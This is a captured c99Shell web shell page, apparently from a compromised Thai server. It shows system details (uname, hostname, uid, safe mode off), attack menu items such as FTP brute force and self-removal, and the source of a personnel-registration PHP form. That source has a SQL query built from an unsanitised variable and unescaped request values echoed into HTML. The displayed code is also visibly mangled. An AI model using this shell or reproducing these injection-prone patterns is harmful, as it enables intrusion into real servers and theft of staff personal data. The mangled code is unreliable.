!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddHistory_new.php (33.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );

    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
        
$Username $valid_user;

        
$sql " SELECT * FROM $myTable  WHERE  Teacher_code='$Teacher_code' ";
        
$res mysql_query($sql);
        
$rsmysql_fetch_array($res);

        
$sql2 " SELECT * FROM prefix";
        
$res2 mysql_query($sql2);    
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript" src="../js/ajaxScript.js"></script>
<title>ศูนย์พัฒนาบุคลากร - เพิ่มข้อมูลบุคลากร</title>
</script>
<script language="javascript" type="text/javascript">
function confirmSubmit() { 
    var formObj = document.pc; 
    
    if(formObj.prefix.value == "" )  { alert("กรุณาเลือกคำนำหน้าชื่อ"); formObj.prefix.style.backgroundColor='#FFFFF0'; formObj.prefix.focus(); return false; } 
    if(formObj.Teacher_name.value == "" )  { alert("กรุณากรอก ชื่อ"); formObj.Teacher_name.style.backgroundColor='#FFFFF0'; formObj.Teacher_name.focus(); return false; } 
     if(formObj.Teacher_lastname.value == "" )  { alert("กรุณากรอก นามสกุล"); formObj.Teacher_lastname.style.backgroundColor='#FFFFF0'; formObj.Teacher_lastname.focus(); return false; } 
     if(formObj.Citizen_id.value.length < 13 ) { alert("บัตรประชาชน ต้องมีอย่างน้อย 13 หลัก"); formObj.Citizen_id.style.backgroundColor='#FFFFF0'; formObj.Citizen_id.focus(); return false; }
    if(formObj.Address.value == "" )  { alert("กรุณากรอก ที่อยู่"); formObj.Address.style.backgroundColor='#FFFFF0'; formObj.Address.focus(); return false; } 
     // if(formObj.districtName.value == "" )  { alert("กรุณากรอก ตำบล"); formObj.districtName.style.backgroundColor='#FFFFF0'; formObj.districtName.focus(); return false; } 
     // if(formObjamphurName.value == "" )  { alert("กรุณากรอก  อำเภอ"); formObj.amphurName.style.backgroundColor='#FFFFF0'; formObj.amphurName.focus(); return false; } 
     // if(formObj.provinceName.value == "" )  { alert("กรุณากรอก จังหวัด"); formObj.provinceName.style.backgroundColor='#FFFFF0'; formObj.provinceName.focus(); return false; } 
     if(formObj.Username.value == "" )  { alert("กรุณากรอก Username"); formObj.Username.style.backgroundColor='#FFFFF0'; formObj.Username.focus(); return false; } 
    if(formObj.Username.value.length < 6 ) { alert("Username ต้องมีอย่างน้อย 6 หลัก"); formObj.Username.style.backgroundColor='#FFFFF0'; formObj.Username.focus(); return false; }

    if(formObj.Password.value != formObj.Password1.value){
        alert("กรอก Password ไม่ถูกต้อง"); 
        formObj.Password.style.backgroundColor='#FFFFF0';
        formObj.Password1.style.backgroundColor='#FFFFF0';
        formObj.Password.focus(); return false;
    }
    else{
        if(formObj.Password.value.length < 6 ){
            alert("รหัสผ่านต้องมีอย่างน้อย 6 หลัก"); formObj.Password.style.backgroundColor='#FFFFF0';
            formObj.Password.focus(); return false; 
        }
    }

//     if(formObj.Username.value.length > 16 ) { alert("Username ต้องมีไม่เกิน 16 หลัก"); formObj.Username.style.backgroundColor='#FFFFF0'; formObj.Username.focus(); return false; }
 //     if(formObj.Password.value == "" )  { alert("กรุณากรอก Password"); formObj.Password.style.backgroundColor='#FFFFF0'; formObj.Password.focus(); return false; } 
//      if(formObj.Password.value.length < 4 ) { alert("Password ต้องมีอย่างน้อย 4 หลัก"); formObj.Password.style.backgroundColor='#FFFFF0'; formObj.Password.focus(); return false; }
//     if(formObj.Password.value.length > 16 ) { alert("Password ต้องมีไม่เกิน 16 หลัก"); formObj.Password.style.backgroundColor='#FFFFF0'; formObj.Password.focus(); return false; }
 
    //else return true ;
    
    
}

/***************************************************************/

</script>
<script language="JavaScript" type="text/JavaScript">

<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1000" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><span class="NOTE">แบบฟอร์มเพิ่มข้อมูลบุคลากร</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="370" align="center" valign="top"><form id="pc" name="pc" method="post"  enctype="multipart/form-data" action="InsertHistory_new.php"  onSubmit="return confirmSubmit();">
          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray">
          <tr >
            <td height="40" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="3" bordercolor="#CCCCCC" style="border:0px solid gray">
              <!--<tr bgcolor="#ECF5FF">
                <td width="20%" height="100%" align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">คำนำหน้า</font></td>
                <td width="1%" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#FF0000" face="Tahoma">*</font></div></td>
                <td width="79%" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                  <input name="First_name" type="radio" value="นาย" checked="checked" />
                  นาย
                  <input type="radio" name="First_name" value="นางสาว" />
                  นางสาว
                  <input type="radio" name="First_name" value="นาง"  />
                  นาง 
                  <input type="radio" name="First_name" value="ดร."  />
                ดร.</font></span></td>
              </tr>-->
              <tr bgcolor="#B6D0F1" >
                <td height="23" colspan="3" align="center" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366"><strong><font face="Tahoma">ข้อมูลส่วนตัว </font></strong></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ชื่อ - นามสกุล</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#FF0000" face="Tahoma">*</font></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">
                    <font face="Tahoma">
                        <SELECT NAME="First_name" style="text-align:center">
                            <OPTION VALUE="">---------- เลือก ----------</OPTION>
                            <?php 
                                
while($rs2 mysql_fetch_object($res2)){
                            
?>                                                
                                    <OPTION style="text-align:left" VALUE="<?=$rs2->prefixId;?><?=($rs2->prefixId==$rs->prefixId)?"SELECTED":"";?>><?=$rs2->prefixName;?></OPTION>
                            <?
                                
}
                            
?>
                        </SELECT>
                        <input name="Teacher_name" type="text" class="input" id="Teacher_name" value="<?=$_GET['Teacher_name'];?>" size="20" /></font>
                        <font face="Tahoma">
                        -&nbsp;<input name="Teacher_lastname" type="text" class="input" id="Teacher_lastname" value="<?=$_GET['Teacher_lastname'];?>" size="20" />
                        <font color="#FF0000"> (ภาษาไทย)</font>
                        </font>
                </td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">วัน/เดือน/ปี/ที่เกิด</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#000000" face="Tahoma"><script>DateInput('DateBirth', true, 'DD/MM/YYYY','<?=(isset($_REQUEST['dateStart']))?$_REQUEST['dateStart']:date("d/m/Y");?>');</script>
                  <!--<select name="mDate" id="mDate" class="select"  >
                    <? getDay1to31();?>
                  </select>
                  เดือน
                  <select name="mMonth" id="mMonth" class="select" >
                    <? getThaiMonth();?>
                  </select>
                  ปี พ.ศ. </font><font color="#000000" face="Tahoma">
                    <label>
                      <input name="mYear" type="text" id="mYear" size="4" maxlength="4" />
                    </label>
                  </font></span>--></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#003366" face="Tahoma">เพศ</font></span></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15">
                  <input type="radio" name="Sex" value="หญิง"  />
                  <font color="#000000"> หญิง
                    <input type="radio" name="Sex" value="ชาย"  checked/>
                    ชาย</font></span></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">เชื้อชาติ</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><input name="Nationality" type="text" class="input" id="Nationality" value="<?=$_GET['Nationality'];?>" size="10"  />
                  <font color="#003366" face="Tahoma">สัญชาติ <span class="style14"><span class="style15"><font color="#000000"><font color="#003366" face="Tahoma">
                    <input name="Nation" type="text" class="input" id="Nation" value="<?=$_GET['Nation'];?>" size="10"  />
                  </font></font></span></span></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ศาสนา</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                  <input type="radio" name="Religion" value="พุทธ" onclick="document.getElementById('ReligionOther').style.display='none'" checked/>
                  พุทธ
                  <input type="radio" name="Religion" value="คริสต์" onclick="document.getElementById('ReligionOther').style.display='none'"/>
                  คริสต์
                  <input type="radio" name="Religion" value="อิสลาม" onclick="document.getElementById('ReligionOther').style.display='none'"/>
                  อิสลาม
                  <input type="radio" name="Religion" value="อื่นๆ" onclick="document.getElementById('ReligionOther').style.display=''"/>
                  อื่นๆ</font></span>
                  <input type="text" name="ReligionOther" id="ReligionOther" size="7" style="display:none">
                </td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">เลขที่บัตรประจำตัวประชาชน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">
                    <!--<input name="Citizen_id" type="text" class="input " id="Citizen_id" onmouseover="ddrivetip('ช่องนี้คือเลขที่บัตรประจำตัวประชาชน 13 หลักตัวเลข','#FFE7CE', 300)"
onmouseout="hideddrivetip()" value="<?=$_GET['Citizen_id'];?>"  size="18" maxlength="13";  onkeypress="checkNumeric()" />-->
                    <input name="Citizen_id" type="text" id="Citizen_id" value="<?=(isset($_REQUEST['Citizen_id']))?$_REQUEST['Citizen_id']:"";?>" size="15" maxlength="17" onkeypress="return (NumOnly(event) && changeFormatPin(this,event));"/>
                </td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ภูมิลำเนา 
                  / ที่อยู่</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style16"><font color="#FF0000" face="Tahoma">*</font></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><p class="style15">
                  <input name="Address" type="text" class="input " id="Address"  value="<?=$_GET['Address'];?>"  size="40"/>
                </p></td>
              </tr>
              <tr >
                <td height="22" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ตำบล/แขวง</font></td>
                <td bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#FF0000" face="Tahoma">*</font></td>
                <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                  <input name="districtName" type="text" class="input1" id="districtName" size="15" maxlength="100" readonly="readonly" />                  
                  <input type="hidden" name="districtId" />
                  <font color="#003366" size="2" face="Tahoma">อำเภอ/เขต</font>
                  <input name="amphurName" type="text" class="input1" id="amphurName"  size="15" maxlength="100" readonly="readonly" />
                  <input name="amphurId" type="hidden" id="amphurId" /></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">จังหวัด</font></td>
                <td bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#FF0000" face="Tahoma">*</font></td>
                <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                  <input type="text" name="provinceName"  size="15" maxlength="100" class="input1" readonly="readonly" />
                  <input name="provinceId" type="hidden" id="provinceId" /><img src="../picture/search.gif" name="IMG3" width="15" height="19" border="0" align="absmiddle" id="IMG3" style="CURSOR:pointer" onclick='MM_openBrWindow(&quot;homeDistrictTable.php&quot;,&quot;test&quot;,&quot;width = 550, height=350,scrollbars=yes&quot;)' title="คลิ๊กที่นี่เพื่อเลือก ตำบล อำเภอ จังหวัด" />
                </font></strong></font><font color="#003366" size="2" face="Tahoma"><span class="hint"><font color="#003366" size="2"></font></span></font></strong></font><span class="hint"><font color="#003366" size="2"></font></span><BR></td>
              </tr>
              <tr bgcolor="#B6D0F1" >
                <td height="23" colspan="3" align="center" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366"><strong><font face="Tahoma">ข้อมูลครอบครัว </font></strong></font></td>
              </tr>
              <tr bgcolor="#ECF5FF" >
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">สถานภาพ 
                  บิดา - มารดา</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="50%" class="style15"><font face="Tahoma">
                      <input type="radio" name="Status2" value="มีชีวิตอยู่"  checked/>
                      มีชีวิตอยู่
                      <input type="radio" name="Status2"value="ถึงแก่กรรม"  />
                      ถึงแก่กรรม</font></td>
                    <td width="50%" class="style15">
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                        <font face="Tahoma">
                            <input type="radio" name="Status3" value="มีชีวิตอยู่"  checked/>
                            มีชีวิตอยู่
                            <input type="radio" name="Status3"value="ถึงแก่กรรม"  />
                            ถึงแก่กรรม
                        </font>
                    </td>
                  </tr>
                </table></td>
              </tr>
              <tr bgcolor="#ECF5FF" >
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ชื่อ 
                  - นามสกุล บิดา</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="50%" class="style15"><font color="#000000" face="Tahoma">
                      <input name="Father_name" type="text" class="input" id="Father_name" value="<?=$_GET['Father_name'];?>" size="30"  />
                    </font></td>
                    <td width="50%" class="style15"><font color="#003366" face="Tahoma">&nbsp;&nbsp;มารดา&nbsp;
                      <input name="Mother_name" type="text" class="input" id="Mother_name2" value="<?=$_GET['Mother_name'];?>" size="30"  />
                    </font></td>
                  </tr>
                </table></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">สถานภาพการสมรส </font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">
                    <span class="style15"><font face="Tahoma">
                        <!--<input type="checkbox" name="Status" value="โสด" onclick="chk(this)"  />
                        โสด
                        <input name="Status" type="checkbox" id="Status" value="สมรส"  />
                        สมรส
                        <input name="Status" type="checkbox" id="Status" value="หย่าร้าง"  />
                        หย่าร้าง
                        <input name="Status" type="checkbox" value="ถึงแก่กรรม"  />
                        ถึงแก่กรรม-->
                        <input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","โสด") ) { echo "checked"; } ?> value="โสด" onclick="document.getElementById('SoulmateRows').style.display='none'; document.getElementById('Total_childRows').style.display='none';" checked/>
                        โสด
                        <input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","สมรส") ) { echo "checked"; } ?> value="สมรส" onclick="document.getElementById('SoulmateRows').style.display=''; document.getElementById('Total_childRows').style.display='';"/>
                        สมรส
                        <input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","หย่าร้าง") ) { echo "checked"; } ?> value="หย่าร้าง" onclick="document.getElementById('SoulmateRows').style.display=''; document.getElementById('Total_childRows').style.display='';"/>
                        หย่าร้าง
                    </font></span>
                </td>
              </tr>
              <tr bgcolor="#ECF5FF" id="SoulmateRows" style="display:none">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#003366" face="Tahoma">ชื่อ 
                  - นามสกุล</font> <font color="#003366" face="Tahoma">คู่สมรส</font></span></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#000000" face="Tahoma">
                  <input name="Soulmate" type="text" id="Soulmate" value="<?=$_GET['Soulmate'];?>" size="30" />
                </font></span></td>
              </tr>
              <tr bgcolor="#ECF5FF" id="Total_childRows" style="display:none">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">จำนวนบุตร</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><input name="Total_child" type="text" id="Total_child" value="<?=$_GET['Total_child'];?>" size="5" />
                  <font face="Tahoma">คน</font></td>
              </tr>
              <tr bgcolor="#B6D0F1" >
                <td height="23" colspan="3" align="center" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366"><strong><font face="Tahoma">ประวัติการศึกษา </font></strong></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14" align="right"><font color="#003366" face="Tahoma">วุฒิการศึกษาสูงสุด</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#FF0000" face="Tahoma">*</font></div></td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                  <input type="radio" name="Degree_code" value="1" onclick="document.getElementById('Degree_else').style.display='none'" checked/>
                  ปริญญาตรี
                  <input type="radio" name="Degree_code" value="2"  onclick="document.getElementById('Degree_else').style.display='none'"/>
                  ปริญญาโท
                  <input type="radio" name="Degree_code" value="3"  onclick="document.getElementById('Degree_else').style.display='none'"/>
                  ปริญญาเอก
                  <input type="radio" name="Degree_code" value="4" onclick="document.getElementById('Degree_else').style.display=''"/>
                  อื่นๆระบุ
                  <input name="Degree_else" id="Degree_else" type="text" value="<?=$_GET['Degree_else'];?>" size="30" style="display:none"/>
                </font></span></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">&nbsp;</td>
              </tr>
              <tr bgcolor="#B6D0F1">
                <td height="21" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#003366" face="Tahoma"><strong>ประวัติการทำงาน</strong></font></div></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">สถานะบุคลากร</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                  <input type="radio" name="Person_type" value="1"  checked  />
                  ข้าราชการ
                  <input type="radio" name="Person_type" value="2"  />
                  พนักงานของรัฐ
                  <input type="radio" name="Person_type" value="3"  />
                  ลูกจ้างประจำ
                  <input type="radio" name="Person_type" value="4"  />
                  ลูกจ้างชั่วคราว <font face="Tahoma">
                    <input type="radio" name="Person_type" value="5"  />
                  </font> ลูกจ้างชั่วคราว(เหมาจ่าย) </font></span></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ประเภทบุคลากร</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                  <input type="radio" name="permission" value="2"  checked /> อาจารย์
                  <input type="radio" name="permission" value="7"  /> สายสนับสนุน
                  </font></span></td>
              </tr>
              <!--<tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ประเภทสายงาน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                  <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","1"))){echo "checked";} ?> value="1"  />
                  อาจารย์ทันตแพทย์
                  <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","2"))){echo "checked";} ?> value="2"  />
                  วิทยาจารย์
                  <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","3"))){echo "checked";} ?> value="3"  />
                  อาจารย์พิเศษ
                  <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","4"))){echo "checked";} ?> value="4"  />
                  อาจารย์เภสัช
                  <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","5"))){echo "checked";} ?> value="5"  checked  />
                  อาจารย์พยาบาล
                  <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","6"))){echo "checked";} ?> value="6"  />
                  สายสนับสนุน</font></span></td>
              </tr>-->
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">สังกัดฝ่าย</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15">
                    <select name="Faculty_code" id="Faculty_code" style="text-align:center" onchange="selectFacultyCon()">
                        <OPTION VALUE="">---------- เลือก ----------</OPTION>
                        <?php
                            $strSQL 
"SELECT * FROM faculty_tb ";
                            
$result mysql_query($strSQL);
                            while( 
$rs mysql_fetch_array($result)){
                                echo
"<option style=\"text-align:left\" value=\"$rs[Faculty_code]\" ><b>$rs[Faculty_name]</b></option>\n";
                            }
                        
?>
                    </select>
                    <span id="showFacultyCon"></span>
                </td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ตำแหน่งทางราชการ</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="PositionId" id="PositionId" style="text-align:center">
                    <OPTION VALUE="">--------------- เลือก ---------------</OPTION>
                    <?php
                  $sql4 
" SELECT *  FROM  position_tb    ORDER  BY  PositionId   ASC  ";
                  
$result4 mysql_query($sql4);
                  while( 
$rs4 mysql_fetch_array($result4) ) {
                
?>
                    <option style="text-align:left" value="<?=$rs4['PositionId'];?><?php if( $rs4['PositionId']==$rs['PositionId'] ) echo 'selected';?>>
                      <?=$rs4['Position_name'];?>
                      </option>
                    <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                    </select>
                  </font></strong></font></strong></font></td>
              </tr>
              <tr bgcolor="#B6D0F1">
                <td height="19" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC"  background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#003366" face="Tahoma"><strong>ข้อมูลในการเข้าระบบ</strong></font></div></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ชื่อผู้ใช้</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15">
                    <input name="Username" id="username" type="text" class="input"  size="15" onblur="checkUsername()" onkeypress="return NumAndCharOnly(event)"/>
                    <font color="#FF0000" face="Tahoma">
                        กรอกอักษรภาษาอังกฤษ หรือ ตัวเลข 0-9 อย่างน้อย 6 ตัวอักขระ
                    </font><span id="showUserStatus"></span>
                </td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">รหัสผ่าน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
